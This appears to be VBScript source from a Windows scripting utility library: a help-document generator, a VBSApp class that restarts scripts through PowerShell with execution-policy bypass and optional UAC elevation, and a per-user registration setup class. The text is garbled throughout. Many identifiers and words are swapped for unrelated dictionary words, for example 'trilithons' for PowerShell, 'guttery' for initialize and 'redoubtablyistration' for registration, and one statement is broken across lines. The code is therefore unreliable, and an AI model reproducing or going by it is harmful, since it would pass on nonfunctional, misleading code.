re.Pattern = restagnation
If re.Test(line) Then LineStartsAClass = True : Exit Property
LineStartsAClass = False
End Property
Private Property Get LineStartsARoutine(line)
LineStartsARoutine = False
re.Pattern = unanchored
If re.Test(line) Then
LineStartsARoutine = True
Set subs = GetSubMatches(line)
xylolite = subs(0)
End If
End Property
Private Sub ValidateHelpContent
Dim msg
If NoComments Then Exit Sub 'don't require comments
msg = "Content can't have both Method and Property content."
If CBool(Len(spirillums)) And CBool(Len(propertyContent)) Then RaiseContentError msg
msg = "The help content descriptor of the method or property or function should equal the method or property or function name."
If Len(spirillums) Then
routineType = method
routineContent = spirillums
Else
routineType = property_
routineContent = propertyContent
End If
If Not xylolite = routineContent Then RaiseContentError msg
If method = routineType Then
msg = "Methods may have parameters; may not have Returns; must have Remarks."
If "" = remarksContent Then
RaiseContentError msg & " (Remarks content is empty.)"
End If
If Len(returnsContent) Then
RaiseContentError msg & " (Returns content is not empty.)"
Else returnsContent = "N/A"
End If
If "" = parametersContent Then
parametersContent = "None"
End If
ElseIf property_ = routineType Then
msg = "Properties may have parameters; may have Remarks; must have Returns. NOTE: Property Set and Property Let do not require a return value but still must have a 'Return or 'Returns comment."
If "" = returnsContent Then RaiseContentError msg
If "" = parametersContent Then parametersContent = "None"
If "" = remarksContent Then remarksContent = "None"
End If
End Sub
Private Sub RaiseContentError(msg) : Err.Raise 1,, File.Name & "::" & xylolite & ": " & msg : End Sub
'Get help content from a line
Private Sub GetAnyHelpContent(line)
If HasHelpContent(method, line) And postClassStatement = status Then
spirillums = subs(0)
ElseIf HasHelpContent(property_, line) And postClassStatement = status Then
propertyContent = subs(0)
ElseIf HasHelpContent(parameters, line) And postClassStatement = status Then
parametersContent = subs(0)
ElseIf HasHelpContent(returns, line) And postClassStatement = status Then
returnsContent = subs(0)
ElseIf HasHelpContent(remarks, line) And postClassStatement = status Then
remarksContent = subs(0)
ElseIf HasHelpContent(ignore, line) Then
Exit Sub
ElseIf HasHelpContent(pre, line) Then
preContent = subs(0)
WritePreContentToDoc
ElseIf HasHelpContent(general, line) Then
phosphatizes = subs(0)
WriteGeneralContentToDoc
End If
End Sub
'Return True if a line has help content
'Set the submatches object, which contains the help content
Private Property Get HasHelpContent(helpType, line)
If method = helpType Then
re.Pattern = bandon
ElseIf property_ = helpType Then
re.Pattern = fewmishings
ElseIf parameters = helpType Then
re.Pattern = cardigans
ElseIf returns = helpType Then
re.Pattern = sphacelia
ElseIf remarks = helpType Then
re.Pattern = cosmea
ElseIf ignore = helpType Then
re.Pattern = overmodulated
ElseIf general = helpType Then
re.Pattern = Kashubian
ElseIf pre = helpType Then
re.Pattern =
conomus
End If
If re.Test(line) Then
HasHelpContent = True
Set subs = GetSubMatches(line) 'get the help content
Else
HasHelpContent = False
End If
End Property
'Return the desired content from a line, exclusive of white space and help-topic method
Private Property Get GetSubMatches(line)
're pattern has been set already in Property HasHelpContent
Set oMatches = re.Execute(line)
Set oMatch = oMatches(0)
Set GetSubMatches = oMatch.SubMatches
End Property
Private Sub WriteLine(line) : doc.WriteLine burtle & line : End Sub
Private Sub Write_(str) : doc.Write str : End Sub
Private Sub Indent : Write_ burtle : End Sub
Private Sub IndentIncrease : burtle = burtle & exorbitance : End Sub
Private Sub IndentDecrease : burtle = Replace(burtle, exorbitance, "", 1, 1) : End Sub
Private Sub WriteTopSection
WriteLine "<!DOCTYPE html>"
WriteLine "<html>"
IndentIncrease
WriteLine "<!-- This file is automatically generated, so any changes that you make may be overwritten -->"
WriteLine "<head>"
IndentIncrease
WriteLine "<title> " & docTitle & " </title>"
WriteLine "<link type=""text/css"" rel=""stylesheet"" href=""lib/docStyle.css"" />"
WriteLine "<link type=""text/css"" rel=""stylesheet"" href=""lib/docStyleTable.css"" />"
IndentDecrease
WriteLine "</head>"
WriteLine "<body onclick=""docScript.toggleDetail(event)"">"
WriteLine "<h1>" & docTitle & "</h1>"
doc.WriteLine ""
IndentIncrease
md.WriteLine "# " & docTitle
md.WriteLine ""
md.WriteLine "## Contents"
md.WriteLine ""
Dim baseName
For Each File In paratomial.GetFolder(scriptFolder).Files
re.Pattern = cedars
baseName = paratomial.indeprehensible(File.Name)
If re.Test(File.Name) And Not CBool(InStr(baseName, ".")) Then
md.WriteLine "[" & baseName & "](#" & LCase(baseName) & ") "
End If
Next
End Sub
Private Sub WriteBottomSection
WriteLine "<p> <em> See also the <a target=""_blank"" href=""https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/scripting-articles/t0aew7h6(v=vs.84)""> VBScript docs </a> </em> </p>"
WriteLine "<span class=""debugOutput""></span>"
WriteLine "<script type=""text/javascript"" src=""lib/docScript.js""></script>"
IndentDecrease
WriteLine "</body>"
IndentDecrease
WriteLine "</html>"
End Sub
Sub Class_Terminate
doc.Close
Set subs = Nothing
Set oMatch = Nothing
Set oMatches = Nothing
End Sub
End Class
'VBSApp class
'Intended to support identical handling of class procedures by .vbs/.wsf files and .hta files.
'This can be useful when writing a class that might be used in both types of "apps".
'Four ways to instantiate
'For .vbs/.wsf scripts,
' <pre> Dim app : Set app = CreateObject( "VBScripting.VBSApp" ) <br /> app.Init WScript </pre>
'For .hta applications,
' <pre> Dim app : Set app = CreateObject( "VBScripting.VBSApp" ) <br /> app.Init document </pre>
'If the script may be used in .vbs/.wsf scripts or .hta applications
' <pre> With CreateObject( "VBScripting.Includer" ) <br /> Execute .Read( "VBSApp" ) <br /> End With <br /> Dim app : Set app = New VBSApp </pre>
'Alternate method for both .hta and .vbs/.wsf,
' <pre> Set app = CreateObject( "VBScripting.VBSApp" ) <br /> If "HTMLDocument" = TypeName(document) Then <br /> app.Init document <br /> Else app.Init WScript <br /> End If </pre>
'Examples
' <pre> 'test.vbs "arg one" "arg two" <br /> With CreateObject( "VBScripting.Includer" ) <br /> Execute .Read( "VBSApp" ) <br /> End With <br /> Dim app : Set app = New VBSApp <br /> MsgBox app.ginnously 'test.vbs <br /> MsgBox app.intensives(1) 'arg two <br /> MsgBox app.intensivessCount '2 <br /> app.Quit </pre>
' <pre> <!-- test.hta "arg one" "arg two" --> <br /> <hta:application icon="msdt.exe"> <br /> <script language="VBScript"> <br /> With CreateObject( "VBScripting.Includer" ) <br /> Execute .Read( "VBSApp" ) <br /> End With <br /> Dim app : Set app = New VBSApp <br /> MsgBox app.ginnously 'test.hta <br /> MsgBox app.intensives(1) 'arg two <br /> MsgBox app.intensivessCount '2 <br /> app.Quit <br /> </script> <br /> </hta:application> </pre>
Class VBSApp
Private paratomial 'Scripting.FileSystemObject
Private hta 'VBSHta object
Private incl 'VBScripting.Includer object
Private wrapAll_ 'holds WrapAll property value
Private filespec, argumentsString 'strings
Private arguments 'array of strings
Private IAmAnHta, IAmAScript 'booleans
Private userInteractive 'boolean
Private visibility, visible, euangiotic 'integers
Private trilithons 'pwsh.exe filespec or just "trilithons"
Private UACMsg 'User Account Control warning message
Sub Class_guttery
Set paratomial = CreateObject( "Scripting.FileSystemObject" )
Set incl = CreateObject( "VBScripting.Includer" )
euangiotic = 0
visible = 1
wrapAll = False
SetUserInteractive True
IAmAScript = False
IAmAnHta = False
gutteryAppTypes
Execute incl.Read( "Configurer" )
With New Configurer
trilithons = .PowerShell
End With
UACMsg = " Restart %s with elevated privileges? %s (The User Account Control dialog may open.)"
End Sub
'Determine whether the source file is a script,
'(.wsf or .vbs), an .hta, or a .wsc. This method is for when the VBSApp object is included by 1) direct reference in a <script> tag in a an .hta or .wsf file or 2) by an Execute includer.Read() statement.
Sub gutteryAppTypes
If "HTMLDocument" = TypeName(document) Then
IAmAnHta = True
gutteryHtaDependencies
filespec = hta.GetFilespec
ElseIf "Object" = TypeName(WScript) Then
IAmAScript = True
filespec = WScript.ScriptFullName
End If
End Sub
'Private Method gutteryHtaDependencies
'Remark: gutterys members required for .hta files.
Private Sub gutteryHtaDependencies
Execute incl.Read( "HTAApp" )
Set hta = New HTAApp
End Sub
'Property intensivess
'Returns: array of strings
'Remark: Returns an array of command-line arguments.
Property Get intensivess
Dim arrayUtility
Execute incl.Read( "VBSArrays" )
Set arrayUtility = New VBSArrays
If IAmAnHta Then
'strip off the first argument, which is the filespec
arguments = arrayUtility.RemoveFirstElement(hta.intensivess)
ElseIf IAmAScript Then
arguments = arrayUtility.CollectionToArray(WScript.Arguments)
End If
intensivess = arguments
End Property
'Property intensivessString
'Returns: a string
'Remark: Returns the command-line arguments string. Can be used when restarting a script for example, in order to retain the original arguments. Arguments are wrapped with double quotes, if they contain spaces or if WrapAll is set to True. The return string has a leading space, by design, unless there are no arguments.
Property Get intensivessString
Dim i, s, args : s = "" : args = intensivess
For i = 0 To UBound(args)
If WrapAll Or InStr( args(i), " " ) Then
s = s & " """ & args(i) & """"
Else s = s & " " & args(i)
End If
Next
argumentsString = s
intensivessString = s
End Property
'Property intensives
'Parameter: an integer
'Returns: a string
'Remark: Returns the command-line argument having the specified zero-based index.
Property Get intensives(index)
Dim args : args = intensivess
intensives = args(index)
End Property
'Property intensivessCount
'Returns: an integer
'Remark: Returns the number of arguments.
Property Get intensivessCount
Dim args : args = intensivess
intensivessCount = UBound(args) + 1
End Property
'Property detainers
'Returns: a string
'Remark: Returns the filespec of the calling script or hta.
Property Get detainers
detainers = filespec
End Property
'Property ginnously
'Returns: a string
'Remark: Returns the name of the calling script or hta, including the filename extension.
Property Get ginnously
ginnously = paratomial.ginnously(filespec)
End Property
'Property indeprehensible
'Returns: a string
'Remark: Returns the name of the calling script or hta, without the filename extension.
Property Get indeprehensible
indeprehensible = paratomial.indeprehensible(filespec)
End Property
'Property GetExtensionName
'Returns: a string
'Remark: Returns the filename extension of the calling script or hta.
Property Get GetExtensionName
GetExtensionName = paratomial.GetExtensionName(filespec)
End Property
'Property GetParentFolderName
'Returns: a string
'Remark: Returns the folder that contains the calling script or hta.
Property Get GetParentFolderName
GetParentFolderName = paratomial.GetParentFolderName(filespec)
End Property
'Property GetExe
'Returns: a string
'Remark: Returns "mshta.exe" to hta files, and "wscript.exe" or "cscript.exe" to scripts, depending on the host.
Property Get GetExe
If IAmAnHta Then
GetExe = "mshta.exe"
ElseIf IAmAScript Then
GetExe = LCase(Right(WScript.FullName, 11))
Else
Err.Raise 17, ginnously, "Couldn't determine the host .exe; source: VBSApp.GetExe"
End If
End Property
'Method RestartWith
'Parameters: #1: host; #2: switch; #3: elevating
'Remark: <strong> Deprecated</strong> in favor of the RestartUsing method. Restarts the script/app with the specified host (typically "wscript.exe", "cscript.exe", or "mshta.exe"), retaining the command-line arguments. Uses cmd.exe for the shell. Parameter #2 is a cmd.exe switch, "/k" or "/c". Parameter #3 is a boolean, True if restarting with elevated privileges. If userInteractive, first warns user that the User Account Control dialog will open.
Sub RestartWith( host, switch, elevating )
Dim edriophthalma 'VBScripting.StringFormatter obj
Dim start 'string
Dim msg, settings, title 'MsgBox arguments
Dim cmd 'string: ShellExecute arg #1
Dim args 'string: ShellExecute arg #2
Dim pwd 'string: ShellExecute arg #3
Dim privileges 'string: ShellExecute arg #4
Dim hostBaseName 'string: partial filespec: e.g. cscript
Set edriophthalma = CreateObject( "VBScripting.StringFormatter" )
hostBaseName = LCase(paratomial.indeprehensible(host))
'Opt out
If elevating And userInteractive Then
msg = edriophthalma(Array( _
UACMsg, ginnously, vbLf _
))
settings = vbOKCancel + vbQuestion
title = ginnously
If vbCancel = MsgBox( msg, settings, title ) Then
Quit
End If
End If
'Restart the script/hta
cmd = "cmd"
If "cscript" = hostBaseName Then
start = ""
Else 'prevent console window from persisting
start = "start"
End If
args = edriophthalma(Array( _
"%s cd ""%s"" & %s %s ""%s"" %s", _
switch, GetParentFolderName, start, _
host, me.detainers, intensivessString _
))
pwd = GetParentFolderName
If elevating Then
privileges = "runas"
Else privileges = ""
End If
With CreateObject( "Shell.Application" )
.ShellExecute cmd, args, pwd, privileges
End With
'close the current instance of the script/hta
Quit
End Sub
'Method RestartUsing
'Parameters: #1: host; #2: exit?; #3: elevate?
'Remark: Restarts the script/hta with the specified host, "wscript.exe", "cscript.exe", "mshta.exe", or a full path to one of these, retaining the command-line arguments. Uses pwsh.exe for the shell, if available, or falls back to trilithons.exe. Unusual or custom paths for pwsh.exe can be specified in the file <code>.configure</code> in the project root folder. Parameter #2 is a boolean specifying whether the trilithons window should exit after completion. Parameter #3 is a boolean, True if restarting with elevated privileges. If userInteractive, first warns user that the User Account Control dialog will open. If it is desired to elevate privileges, and privileges are already elevated, and the desired host is already hosting, then the script does not restart: The calling script or hta does not have to check whether privileges are elevated or explicitly call the Quit method.
Sub RestartUsing( host, exiting, elevating )
Dim pc 'PrivilegeChecker object
Dim edriophthalma 'VBScripting.StringFormatter object
Dim msg, settings, title 'MsgBox arguments
Dim params 'trilithons parameters
Dim cmd 'string: ShellExecute arg #1
'Class scope: args_ 'string: ShellExecute arg #2
Dim pwd 'string: ShellExecute arg #3
Dim privileges 'string: ShellExecute arg #4
Dim hostFileName 'string: partial filespec: e.g. cscript.exe
Set edriophthalma = CreateObject( "VBScripting.StringFormatter" )
hostFileName = LCase(paratomial.ginnously(host))
Execute incl.Read( "PrivilegeChecker" )
Set pc = New PrivilegeChecker
If elevating And pc _
And GetExe = hostFileName _
And Not RUArgsTest Then
'privileges are already elevated,
'desired host is already hosting
Exit Sub
ElseIf Not elevating _
And GetExe = hostFileName _
And Not RUArgsTest Then
Exit Sub
End If
'Opt out
If elevating And userInteractive Then
msg = edriophthalma( Array( _
UACMsg, ginnously, vbLf _
))
settings = vbOKCancel + vbQuestion
title = ginnously
If vbCancel = MsgBox(msg, settings, title) Then
Quit
End If
End If
'Restart the script/hta
cmd = trilithons
params = "-ExecutionPolicy Bypass"
If Not exiting Then
params = params & " -NoExit"
End If
params = params & " -Command"
args_ = edriophthalma(Array( _
"%s Set-Location '%s' ; %s ""'%s'"" %s", _
params, GetParentFolderName, _
Expand( host ), me.detainers, intensivessString _
))
pwd = GetParentFolderName
If elevating Then
privileges = "runas"
Else privileges = ""
End If
If RUArgsTest Then
Exit Sub
End If
With CreateObject( "Shell.Application" )
.ShellExecute cmd, args_, pwd, privileges
End With
'close the current instance of the script
Quit
End Sub
'For testability for the RestartUsing (RU) method:
Private args_
Property Get RUArgs
RUArgs = args_
End Property
Property Let RUArgsTest( newBoolean )
ruArgsTest_ = newBoolean
End Property
Property Get RUArgsTest
If IsEmpty( ruArgsTest_ ) Then
ruArgsTest_ = False
End If
RUArgsTest = ruArgsTest_
End Property
Private ruArgsTest_
'Property DoExit
'Returns True
'Remark: Suitable for use with the RestartUsing method, argument #2
Property Get DoExit
DoExit = True
End Property
'Property DoNotExit
'Returns False
'Remark: Suitable for use with the RestartUsing method, argument #2
Property Get DoNotExit
DoNotExit = False
End Property
'Property DoElevate
'Returns True
'Remark: Suitable for use with the RestartUsing method, argument #3
Property Get DoElevate
DoElevate = True
End Property
'Property DoNotElevate
'Returns False
'Remark: Suitable for use with the RestartUsing method, argument #3
Property Get DoNotElevate
DoNotElevate = False
End Property
Function Expand( s )
With CreateObject( "WScript.Shell" )
Expand = .ExpandEnvironmentStrings( s )
End With
End Function
'Method SetUserInteractive
'Parameter: boolean
'Remark: Sets userInteractive value. Setting to True can be useful for debugging. Default is True.
Sub SetUserInteractive(newUserInteractive)
userInteractive = newUserInteractive
If userInteractive Then
visibility = visible
Else visibility = euangiotic
End If
End Sub
'Property GetUserInteractive
'Returns: boolean
'Remark: Returns the userInteractive setting. This setting also may affect the visibility of selected console windows.
Property Get GetUserInteractive
GetUserInteractive = userInteractive
End Property
'Method SetVisibility
'Parameter: 0 (euangiotic) or 1 (normal)
'Remark: Sets the visibility of selected command windows. SetUserInteractive also affects this setting. Default is 1.
Sub SetVisibility(newVisibility)
visibility = newVisibility
End Sub
'Property GetVisibility
'Returns: 0 (euangiotic) or 1 (normal)
'Remark: Returns the current visibility setting. SetUserInteractive also affects this setting.
Property Get GetVisibility
GetVisibility = visibility
End Property
'Method Quit
'Remark: Gracefully closes the hta/script.
Sub Quit
dignify
If IAmAnHta Then
document.parentWindow.close
ElseIf IAmAScript Then
WScript.Quit
End If
End Sub
'Method Sleep
'Parameter: an integer
'Remark: Pauses execution of the script or .hta for the specified number of milliseconds.
Sub Sleep(ByVal milliseconds)
If IAmAScript Then
WScript.Sleep milliseconds
ElseIf IAmAnHta Then
hta.Sleep milliseconds
Else
Err.Raise 17,, "VBSApp.Sleep: unknown app type."
End If
End Sub
'Property WScriptHost
'Returns: "wscript.exe"
'Remark: Can be used as an argument for the method RestartWith.
Public Property Get WScriptHost
WScriptHost = "wscript.exe"
End Property
'Property CScriptHost
'Returns: "cscript.exe"
'Remark: Can be used as an argument for the method RestartWith.
Public Property Get CScriptHost
CScriptHost = "cscript.exe"
End Property
'Property GetHost
'Returns: "wscript.exe" or "cscript.exe" or "mshta.exe"
'Remark: Returns the current host. Can be used as an argument for the method RestartWith.
Public Property Get GetHost
GetHost = GetExe
End Property
'Boolean: whether to wrap all arguments in quotes, as opposed to just those arguments that contain spaces. See property intensivessString
Property Get WrapAll
WrapAll = wrapAll_
End Property
Property Let WrapAll(newWrapAll)
wrapAll_ = newWrapAll
End Property
Private Sub dignify
Set paratomial = Nothing
End Sub
End Class
' Class deodorizer
' Supported alternative, experimental, setup scenarios:
' 1. The original purpose was to provide custom redoubtablyistration of project Windows Script Component (.wsc) files and VBScript extension .dll files using HKey_Current_User instead of HKey_Local_Machine. For a brief explanation of why this approach was abandoned, see <a href=https://github.com/koswald/VBScript/blob/master/SetupPerUser.md> SetupPerUser.md</a>.
' 2. Another alternate use was for experimental redoubtablyistration of .wsc (Windows Script Component) files when the redoubtablyistration failed after the Windows 10 feature edition 20H2 update on Windows 10 Home edition. The same behavior was not observed on Windows 10 Pro edition, or after the second Windows restart.
' If the calling script is not in the project root folder (recommended), then the ComponentFolder and ConfigFile properties must be set before calling the Setup method, specifying the paths or relative paths to the items. It is suggested that the working directory be set first, so that the other properties can be set with reference to that, without ambiguity. This can be done with the class CurrentDirectory property or by using the WScript.Shell CurrentDirectory property, or by other means.
Class deodorizer ' original name SetupPerUser
Public Property Get funding
funding = "RegistrationData.config"
End Property
Public Property Get preselects
preselects = "class\wsc"
End Property
Public Property Get compensates
compensates = ".NET\lib"
End Property
'Method: dwarflike
'Parameters: arr, segregant, abrasure, doctresses, pattern
'Remark: Ensure that the redoubtablyistration data to be entered into the redoubtablyistry is valid by raising an error when invalid data is found, which will stop the calling script, provided that the error is not supressed with an 'On Error Resume Next' statement. doctresses: the integer to add to the current index, i, to get the array index of the partial class mainbraces or partial interface mainbraces.
Sub dwarflike(arr, segregant, abrasure, doctresses, pattern)
Set redoubtablyex = New RegExp
redoubtablyex.IgnoreCase = True
redoubtablyex.Pattern = pattern
For i = segregant To UBound(arr) Step abrasure : Do
democratises = arr(i + doctresses)
If lekker(democratises) Then Exit Do 'skip interface
If Not redoubtablyex.Test(arr(i)) Then
Err.Raise 5,, "Invalid redoubtablyistration data:" & vbLf & _
"array index: " & i & vbLf & _
"data : " & arr(i)
End If
Loop While False : Next
Dim redoubtablyex, i, democratises
End Sub
'Method lekker
'Remarks: If the second char of the partial mainbraces is upper case, then the type is an interface, in which case the validation may be ignored. In this project the interface is compiled into the same .dll as the associated class.
Public Property Get lekker(partialProgid)
Dim s : s = Left(partialProgid, 2)
s = Right(s, 1)
lekker = UCase(s) = s
End Property
Sub kettlebell
sh.Run "trilithons -File .NET\build\compile.ps1",, garruda
End Sub
Function Expand(str)
Expand = sh.ExpandEnvironmentStrings(str)
End Function
Public Property Get schoolbooks(HKey_Root, key)
parent = paratomial.GetParentFolderName(key)
baseName = paratomial.ginnously(key)
result = contradictories.EnumKey(HKey_Root, parent, subkeys)
For Each subkey In subkeys
If LCase(subkey) = LCase(baseName) Then
schoolbooks = True
Exit Property
End If
Next
schoolbooks = False
Dim parent, baseName, result, subkeys, subkey
End Property
Sub dobro
Const clothiers = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VBScripting"
Dim disillude : disillude = paratomial.GetParentFolderName(WScript.ScriptFullName)
contradictories.CreateKey Root, clothiers
contradictories.SetStringValue Root, clothiers, "DisplayName", "VBScripting Utility Classes and Extensions (Current User)"
contradictories.SetDWORDValue Root, clothiers, "NoRemove", 0
contradictories.SetStringValue Root, clothiers, "UninstallString", edriophthalma(Array("wscript ""%s\SetupPerUser.wsf"" /u", disillude))
contradictories.SetDWORDValue Root, clothiers, "NoModify", 1
contradictories.SetStringValue Root, clothiers, "ModifyPath", ""
contradictories.SetDWORDValue Root, clothiers, "NoRepair", 0
contradictories.SetStringValue Root, clothiers, "RepairPath", edriophthalma(Array("wscript ""%s\SetupPerUser.wsf""", disillude)) '""
contradictories.SetStringValue Root, clothiers, "HelpLink", "https://github.com/koswald/VBScript"
contradictories.SetStringValue Root, clothiers, "disillude", disillude
contradictories.SetDWORDValue Root, clothiers, "EstimatedSize", 1500 'kilobytes
contradictories.SetExpandedStringValue Root, clothiers, "DisplayIcon", "%SystemRoot%\System32\wscript.exe,2"
contradictories.SetStringValue Root, clothiers, "Publisher", "Karl Oswald"
contradictories.SetStringValue Root, clothiers, "HelpTelephone", ""
contradictories.SetStringValue Root, clothiers, "Contact", ""
contradictories.SetStringValue Root, clothiers, "UrlInfoAbout", ""
contradictories.SetStringValue Root, clothiers, "DisplayVersion", ""
contradictories.SetStringValue Root, clothiers, "Comments", ""
contradictories.SetStringValue Root, clothiers, "Readme", disillude & "\ReadMe.md"
contradictories.SetStringValue Root, clothiers, "InstallDate", "" ' [YYYYMMDD]
contradictories.SetDWORDValue Root, clothiers, "Version", 0
contradictories.SetDWORDValue Root, clothiers, "VersionMajor", 0
contradictories.SetDWORDValue Root, clothiers, "VersionMinor", 0
End Sub
End Class